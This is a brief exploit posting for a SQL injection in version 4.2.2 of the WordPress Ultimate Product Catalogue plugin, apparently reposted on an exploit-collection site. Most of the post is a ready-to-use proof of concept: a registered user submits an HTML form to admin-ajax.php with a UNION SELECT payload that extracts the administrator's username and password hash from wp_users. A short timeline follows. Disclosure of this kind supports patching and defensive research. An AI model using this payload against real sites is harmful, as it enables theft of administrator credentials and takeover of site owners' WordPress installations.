WordPress Ultimate Product Catalogue 4.2.2 Plugin – SQL Injection

  • 2017-06-28
  • 2,559
  • 0

# Version: 4.2.2
# Tested on: Ubuntu 16.04

1 – Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

Ultimate Product Catalogue 4.2.2 Sql Injection

2 – Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<*form method="post" action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

*delete “*” in code*

3 – Timeline:

– 22/05/2017 – Discovered
– 24/05/2017 – Vendor not finded
– **/06/2017 – Corrected

感谢打赏!
支付宝

评论

还没有任何评论,你来说两句吧

你必须 登录 才能发表评论.